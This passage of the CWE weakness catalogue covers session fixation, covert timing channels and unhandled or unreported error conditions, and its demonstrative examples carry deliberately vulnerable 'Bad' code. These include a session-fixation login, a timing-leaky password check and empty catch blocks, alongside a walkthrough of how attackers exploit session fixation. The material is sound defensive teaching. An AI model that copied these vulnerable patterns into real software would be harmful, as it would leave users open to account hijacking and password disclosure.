Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1425

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

### Demonstrative Examples

#### Example 1:

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

*Example Language: Java*

*(Bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
    };
    new Thread(r).start();
}
```

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		361	7PK - Time and State	700	2113
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: Threads
Software Fault Patterns	SFP3		Use of an improper API

### References



[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-384: Session Fixation

**Weakness ID** : 384




**Structure** : Composite

**Abstraction** : Compound

### Description

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

### Composite Components

Nature	Type	ID	Name	Page
Requires		346	Origin Validation Error	808
Requires		472	External Control of Assumed-Immutable Web Parameter	1062
Requires		441	Unintended Proxy or Intermediary ('Confused Deputy')	1005

### Extended Description


Such a scenario is commonly observed when:

- A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
- An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
- The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2225

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

#### Phase: Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

### Demonstrative Examples

#### Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with `LoginContext.login()` without first calling `HttpSession.invalidate()`.

*Example Language: Java*

*(Bad)*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {  
    ...  
    lc.login();  
    ...  
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-

site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

### Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the `<code>j_security_check</code>`, which typically does not invalidate the existing session before processing the login request.

Example Language: HTML

(Bad)

```
<form method="POST" action="j_security_check">
  <input type="text" name="j_username">
  <input type="text" name="j_password">
</form>
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	361	7PK - Time and State	700	2113
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

## Notes

### Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Session Fixation
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
WASC	37		Session Fixation

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
196	Session Credential Falsification through Forging

## References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-385: Covert Timing Channel

**Weakness ID** : 385

**Structure** : Simple

**Abstraction** : Base

### Description

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

### Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		514	Covert Channel	1151
CanFollow		208	Observable Timing Discrepancy	508

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		417	Communication Channel Errors	2119

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Other	Other	
	<i>Information exposure.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

### Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

### Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

## Demonstrative Examples

### Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

*Example Language: Python*

*(Bad)*

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
    return 1
```

Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		968	SFP Secondary Cluster: Covert Channel	888	2197

## Notes

## Maintenance

As of CWE 4.9, members of the CWE Hardware SIG are working to improve CWE's coverage of transient execution weaknesses, which include issues related to Spectre, Meltdown, and other attacks that create or exploit covert channels. As a result of that work, this entry might change in CWE 4.10.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Timing
CLASP			Covert Timing Channel

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
462	Cross-Domain Search Timing

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-386: Symbolic Name not Mapping to Correct Object

**Weakness ID** : 386

**Structure** : Simple

**Abstraction** : Base





## Description

A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
PeerOf		367	Time-of-check Time-of-use (TOCTOU) Race Condition	858
PeerOf		486	Comparison of Classes by Name	1100
PeerOf		610	Externally Controlled Reference to a Resource in Another Sphere	1285

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<i>The attacker can gain access to otherwise unauthorized resources.</i>	
Integrity Confidentiality Other	Modify Application Data Modify Files or Directories Read Application Data Read Files or Directories Other	
	<i>Race conditions such as this kind may be employed to gain read or write access to resources not normally readable or writable by the user in question.</i>	
Integrity Other	Modify Application Data Other	
	<i>The resource in question, or other resources (through the corrupted one) may be changed in undesirable ways by a malicious user.</i>	
Non-Repudiation	Hide Activities	
	<i>If a file or other resource is written in this method, as opposed to a valid way, logging of the activity may not occur.</i>	
Non-Repudiation Integrity	Modify Files or Directories	
	<i>In some cases it may be possible to delete files that a malicious user might not otherwise have access to -- such as log files.</i>	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Symbolic name not mapping to correct object

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-390: Detection of Error Condition Without Action

**Weakness ID** : 390

**Structure** : Simple

**Abstraction** : Base

### Description




The product detects a specific error, but takes no actions to handle the error.

### Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1468
PeerOf		600	Uncaught Exception in Servlet	1264
CanPrecede		401	Missing Release of Memory after Effective Lifetime	921

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State Alter Execution Logic	
<p><i>An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.</i></p>		

### Potential Mitigations

#### Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

#### Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

#### Phase: Testing

Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

### Demonstrative Examples

#### Example 1:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

*Example Language: C**(Bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

*Example Language: C**(Good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

**Example 2:**

In the following C++ example the method readfile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is\_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

*Example Language: C++**(Bad)*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

*Example Language: C++*

*(Good)*

```
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
        throw;
    }
}
```

### Example 3:

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

*Example Language: Java*

*(Bad)*

```
public String readFile(String filename) {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
```

```

// read data from file
int iRead = fr.read(cBuf, 0, (int) fLen);
// close file
fr.close();
retString = new String(cBuf);
} catch (Exception ex) {
    /* do nothing, but catch so it'll compile... */
}
return retString;
}

```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the `FileNotFoundException` that may be thrown by the `FileReader` constructor called within the try/catch block. The second catch statement will catch the `IOException` that may be thrown by the `read` method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the `readFile()` method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the `getMessage()` method of the exception class to provide more information to the user about the exception raised.

Example Language: Java

(Good)

```

public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
        System.err.println (" " + ex.getMessage() );
        throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
        System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
        throw new IOException(ex);
    } catch (Exception ex) {
        System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
        throw new Exception(ex);
    }
    return retString;
}

```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131

Nature	Type	ID	Name	Page	Page
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf		880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf		884	CWE Cross-section	884	2327
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf		1306	CISQ Quality Measures - Reliability	1305	2276

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper error handling
The CERT Oracle Secure Coding Standard for Java (2011)	ERR00-J		Do not suppress or ignore checked exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-391: Unchecked Error Condition

**Weakness ID** : 391

**Structure** : Simple

**Abstraction** : Base

### Description

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1020	Verify Message Integrity	2227

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2115

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State Alter Execution Logic	

### Potential Mitigations

#### Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

#### Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

#### Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

### Demonstrative Examples

#### Example 1:

The following code excerpt ignores a rarely-thrown exception from doExchange().

*Example Language: Java*

*(Bad)*

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	388	7PK - Errors	700	2114
MemberOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	711	2131
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	2143
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	2173
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2250
MemberOf	C	1167	SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)	1154	2254
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

## Notes

### Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

### Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions: This method call can never fail. It doesn't matter if this call fails.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy
CERT C Secure Coding	ERR33-C	CWE More Abstract	Detect and handle standard library errors
CERT C Secure Coding	ERR34-C	CWE More Abstract	Detect errors when converting a string to a number



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP32-C	Imprecise	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	POS54-C	CWE More Abstract	Detect and handle POSIX library errors
SEI CERT Perl Coding Standard	EXP31-PL	Imprecise	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-392: Missing Report of Error Condition

**Weakness ID** : 392

**Structure** : Simple

**Abstraction** : Base

## Description

The product encounters an error but does not provide a status code or return value to indicate that an error has occurred.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433
ChildOf	⊕	684	Incorrect Provision of Specified Functionality	1410

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	⊖	1012	Cross Cutting	2220

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1433

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	⊖	389	Error Conditions, Return Values, Status Codes	2115

## Weakness Ordinalities

**Primary** :

**Resultant** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	
<p><i>Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.</i></p>		

### Demonstrative Examples

#### Example 1:

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java

(Bad)

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
}
```

### Observed Examples

Reference	Description
<b>CVE-2004-0063</b>	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0063">https://www.cve.org/CVERecord?id=CVE-2004-0063</a>
<b>CVE-2002-1446</b>	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1446">https://www.cve.org/CVERecord?id=CVE-2002-1446</a>
